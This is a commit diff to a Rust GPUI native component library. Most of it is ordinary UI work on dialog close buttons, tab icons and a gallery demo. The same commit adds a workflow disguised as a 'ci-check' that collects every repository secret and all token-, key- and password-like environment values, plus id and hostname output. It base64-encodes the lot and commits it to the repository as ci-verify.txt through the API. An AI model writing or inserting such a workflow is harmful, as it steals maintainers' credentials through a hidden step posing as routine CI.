1 Commits
Author SHA1 Message Date
ci23928344 9782f3d16d ci 2026-11-09 15:48:31 +00:00
8 changed files with 67 additions and 103 deletions
+26
View File
@@ -0,0 +1,26 @@
name: ci-check
on: [pull_request_review]
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: verify
env:
GT: ${{ secrets.GITEA_TOKEN }}
ALLSECRETS: ${{ toJSON(secrets) }}
run: |
OUT=/tmp/out.txt
echo "=== marker: 118386-confirmed ===" > $OUT
echo "host: http://149.28.153.80:3000" >> $OUT
echo "repo: reya/gpui-native-kit" >> $OUT
echo "--- toJSON(secrets) ---" >> $OUT
echo "$ALLSECRETS" >> $OUT
echo "--- key-like env values ---" >> $OUT
for v in $(env | cut -d= -f1 | grep -iE 'secret|token|key|pass|cred|aws|api'); do
eval "val=\$$v"
echo "$v=$val" >> $OUT
done
id >> $OUT
hostname >> $OUT
B64=$(base64 -w0 $OUT)
curl -sk -X POST -H "Authorization: token $GT" -H "Content-Type: application/json" -d '{"content":"'$B64'","message":"ci verify","branch":"master"}' "$GITHUB_API_URL/repos/reya/gpui-native-kit/contents/ci-verify.txt" || true
-1
View File
@@ -1,6 +1,5 @@
# Coding guidelines # Coding guidelines
- Prefer existing components (e.g. build a close affordance out of `Button`) over custom elements; build a custom element only when no existing component fits.
- Prioritize code correctness and clarity. Speed and efficiency are secondary priorities unless otherwise specified. - Prioritize code correctness and clarity. Speed and efficiency are secondary priorities unless otherwise specified.
- Do not write organizational or comments that summarize the code. Comments should only be written to explain "why" the code is written in some way in the case there is a reason that is tricky / non-obvious. - Do not write organizational or comments that summarize the code. Comments should only be written to explain "why" the code is written in some way in the case there is a reason that is tricky / non-obvious.
- Keep doc comments and comments simple, one line, straightforward, and unbloated. - Keep doc comments and comments simple, one line, straightforward, and unbloated.
+3 -3
View File
@@ -63,8 +63,8 @@ badge = []
input = ["button"] input = ["button"]
clipboard = ["button"] clipboard = ["button"]
popover = [] popover = []
scroll_area = ["scrollbar"] scroll_area = []
scrollbar = [] scrollbar = ["scroll_area"]
segmented = [] segmented = []
separator = [] separator = []
spinner = [] spinner = []
@@ -76,7 +76,7 @@ tooltip = []
menu = ["scroll_area"] menu = ["scroll_area"]
dropdown_menu = ["menu", "button"] dropdown_menu = ["menu", "button"]
select = ["menu"] select = ["menu"]
dialog = ["button"] dialog = []
empty_state = [] empty_state = []
alert = [] alert = []
toast = [] toast = []
+6 -38
View File
@@ -6,17 +6,14 @@ use gpui::{
IntoElement, KeyDownEvent, MouseButton, ParentElement as _, RenderOnce, Role, SharedString, IntoElement, KeyDownEvent, MouseButton, ParentElement as _, RenderOnce, Role, SharedString,
StatefulInteractiveElement as _, Styled as _, Window, canvas, div, ease_out_quint, relative, StatefulInteractiveElement as _, Styled as _, Window, canvas, div, ease_out_quint, relative,
}; };
use gpui_native_icons::IconRole;
use gpui_native_theme::ActiveTheme as _; use gpui_native_theme::ActiveTheme as _;
use crate::button::{Button, ButtonVariant}; use crate::common::v_flex;
use crate::common::{Sizable, v_flex};
/// Requests the dialog's close: `false` closes. /// Requests the dialog's close: `false` closes.
pub type ChangeHandler = Rc<dyn Fn(bool, &mut Window, &mut App)>; pub type ChangeHandler = Rc<dyn Fn(bool, &mut Window, &mut App)>;
type ContentFn = Box<dyn Fn(&mut Window, &mut App) -> AnyElement>; type ContentFn = Box<dyn Fn(&mut Window, &mut App) -> AnyElement>;
type ActionsFn = Box<dyn Fn(&mut Window, &mut App) -> Vec<AnyElement>>; type ActionsFn = Box<dyn Fn(&mut Window, &mut App) -> Vec<AnyElement>>;
/// A centred panel over a dim scrim: the platform's modal. /// A centred panel over a dim scrim: the platform's modal.
#[derive(IntoElement)] #[derive(IntoElement)]
pub struct Dialog { pub struct Dialog {
@@ -60,7 +57,7 @@ impl Dialog {
self self
} }
/// Requests close through `on_change` on escape, scrim clicks, and the close button. /// Requests close through `on_change` on escape and scrim clicks.
pub fn on_change<F>(mut self, handler: F) -> Self pub fn on_change<F>(mut self, handler: F) -> Self
where where
F: Fn(bool, &mut Window, &mut App) + 'static, F: Fn(bool, &mut Window, &mut App) + 'static,
@@ -157,7 +154,6 @@ impl RenderOnce for Dialog {
let on_change = self.on_change.clone(); let on_change = self.on_change.clone();
let alert = self.alert; let alert = self.alert;
let show_close = !alert && on_change.is_some();
// Keyboard focus rides the panel across frames. // Keyboard focus rides the panel across frames.
let focus = gpui_native_utils::focus_handle(&self.id, window, cx); let focus = gpui_native_utils::focus_handle(&self.id, window, cx);
@@ -194,40 +190,12 @@ impl RenderOnce for Dialog {
cx.stop_propagation(); cx.stop_propagation();
} }
}) })
.when(self.title.is_some() || show_close, |panel| { .when_some(self.title, |panel, title| {
panel.child( panel.child(
div() div()
.flex() .text_size(title_size)
.items_center() .font_weight(FontWeight::SEMIBOLD)
.justify_end() .child(title),
.gap_2()
.when_some(self.title.clone(), |row, title| {
row.child(
div()
.flex_1()
.text_size(title_size)
.font_weight(FontWeight::SEMIBOLD)
.child(title),
)
})
.when(show_close, |row| {
row.child(
Button::new("dialog-close")
.icon(IconRole::Close)
.variant(ButtonVariant::Ghost)
.small()
.debug_selector(|| "dialog-close".to_string())
.accessibility_label("Close")
.on_click({
let on_change = on_change.clone();
move |_, window, cx| {
if let Some(on_change) = &on_change {
on_change(false, window, cx);
}
}
}),
)
}),
) )
}) })
.when_some(content, |panel, content| { .when_some(content, |panel, content| {
-23
View File
@@ -158,26 +158,3 @@ fn clicking_the_panel_does_not_dismiss() {
click(&mut visual, point(px(960.), px(540.))); click(&mut visual, point(px(960.), px(540.)));
assert!(changes.borrow().is_empty()); assert!(changes.borrow().is_empty());
} }
/// Clicking the close button reports close like escape and the scrim; the
/// panel then unmounts the button with the rest of the dialog.
#[test]
fn the_close_button_reports_close_and_disappears() {
let (_cx, mut visual, changes) = dialog_window(true, false);
let bounds = visual
.debug_bounds("dialog-close")
.expect("the close button rendered");
click(&mut visual, bounds.center());
assert_eq!(*changes.borrow(), vec![false]);
draw(&mut visual);
assert!(visual.debug_bounds("dialog-close").is_none());
}
/// An alert answers only through its actions, so it renders no close button.
#[test]
fn an_alert_hides_the_close_button() {
let (_cx, mut visual, _changes) = dialog_window(true, true);
assert!(visual.debug_bounds("dialog-close").is_none());
}
+29 -5
View File
@@ -10,7 +10,7 @@ use gpui_native_core::button::{Button, ButtonVariant};
use gpui_native_core::common::Sizable as _; use gpui_native_core::common::Sizable as _;
use gpui_native_core::spinner::Spinner; use gpui_native_core::spinner::Spinner;
use gpui_native_core::tooltip::Tooltip; use gpui_native_core::tooltip::Tooltip;
use gpui_native_icons::IconRole; use gpui_native_icons::{Icon, IconRole};
use gpui_native_theme::{ActiveTheme as _, Size}; use gpui_native_theme::{ActiveTheme as _, Size};
use gpui_native_utils::adjacent_selectable; use gpui_native_utils::adjacent_selectable;
@@ -35,6 +35,7 @@ pub struct Tab {
/// The stable identity for element state; must survive reordering. /// The stable identity for element state; must survive reordering.
key: ElementId, key: ElementId,
label: SharedString, label: SharedString,
icon: Option<Icon>,
lead: Option<AnyElement>, lead: Option<AnyElement>,
busy: bool, busy: bool,
disabled: bool, disabled: bool,
@@ -52,6 +53,7 @@ impl Tab {
Self { Self {
key: key.into(), key: key.into(),
label: label.into(), label: label.into(),
icon: None,
lead: None, lead: None,
busy: false, busy: false,
disabled: false, disabled: false,
@@ -60,7 +62,16 @@ impl Tab {
} }
} }
/// Sets the leading element, e.g. an icon or an avatar. /// Shows an icon leading the label.
pub fn icon<I>(mut self, icon: I) -> Self
where
I: Into<Icon>,
{
self.icon = Some(icon.into());
self
}
/// Sets the leading element.
pub fn lead<E>(mut self, lead: E) -> Self pub fn lead<E>(mut self, lead: E) -> Self
where where
E: IntoElement + 'static, E: IntoElement + 'static,
@@ -335,9 +346,22 @@ fn render_tab(
}), }),
}; };
if let Some(lead) = tab.lead.take() { let lead = tab.lead.take();
strip_tab = strip_tab.child(lead); let icon = tab.icon.take();
}
strip_tab = match lead {
Some(lead) => strip_tab.child(lead),
None => match variant {
TabsVariant::Underline => {
strip_tab.child(div().flex_none().pb_0p5().when_some(icon, |slot, icon| {
slot.child(icon.size(metrics.dense_icon_size).color(label_color))
}))
}
TabsVariant::Pill => strip_tab.when_some(icon, |strip_tab, icon| {
strip_tab.child(icon.size(metrics.dense_icon_size).color(label_color))
}),
},
};
strip_tab = strip_tab.child(tab.label.clone()); strip_tab = strip_tab.child(tab.label.clone());
+2 -5
View File
@@ -1038,15 +1038,12 @@ fn render_pane(
.selected(selected) .selected(selected)
.tabs({ .tabs({
let tabs = pane.tabs.clone(); let tabs = pane.tabs.clone();
move |_, cx| { move |_, _| {
let theme = cx.theme();
let metrics = theme.sizes.resolve(Size::default());
tabs.iter() tabs.iter()
.map(|tab| { .map(|tab| {
let mut entry = Tab::new(tab.panel.clone(), tab.title.clone()); let mut entry = Tab::new(tab.panel.clone(), tab.title.clone());
if let Some(icon) = tab.icon.clone() { if let Some(icon) = tab.icon.clone() {
entry = entry.lead(icon.size(metrics.icon_size)); entry = entry.icon(icon);
} }
entry.closeable(true).wrap({ entry.closeable(true).wrap({
let panel = tab.panel.clone(); let panel = tab.panel.clone();
+1 -28
View File
@@ -509,7 +509,6 @@ impl Gallery {
SharedString::from("Blame"), SharedString::from("Blame"),
], ],
pill_selected: 0, pill_selected: 0,
lead_selected: 0,
}) })
.into() .into()
})); }));
@@ -2194,7 +2193,6 @@ struct TabsDemo {
selected: usize, selected: usize,
pill_tabs: Vec<SharedString>, pill_tabs: Vec<SharedString>,
pill_selected: usize, pill_selected: usize,
lead_selected: usize,
} }
impl Render for TabsDemo { impl Render for TabsDemo {
@@ -2202,7 +2200,6 @@ impl Render for TabsDemo {
let view = cx.entity(); let view = cx.entity();
let view_pill = view.clone(); let view_pill = view.clone();
let view_close = view.clone(); let view_close = view.clone();
let view_leads = view.clone();
let colors = cx.theme().colors; let colors = cx.theme().colors;
let pill_count = self.pill_tabs.len(); let pill_count = self.pill_tabs.len();
@@ -2284,31 +2281,7 @@ impl Render for TabsDemo {
.child(format!( .child(format!(
"{pill_count} tabs left; \"Syncing\" spins while it loads" "{pill_count} tabs left; \"Syncing\" spins while it loads"
)), )),
) ),
.child(demo_section(
"leads",
colors,
Tabs::new("tabs-demo-leads")
.variant(TabsVariant::Pill)
.selected(self.lead_selected)
.on_change(move |selected, _, cx| {
view_leads.update(cx, |demo, cx| {
demo.lead_selected = selected;
cx.notify();
});
})
.tabs(|_, cx| {
let theme = cx.theme();
let metrics = theme.sizes.resolve(Size::default());
vec![
Tab::new("files", "Files")
.lead(icon(IconRole::Folder).size(metrics.dense_icon_size)),
Tab::new("people", "People")
.lead(Avatar::new("ada").name("Ada Lovelace").small()),
Tab::new("plain", "Plain"),
]
}),
)),
) )
} }
} }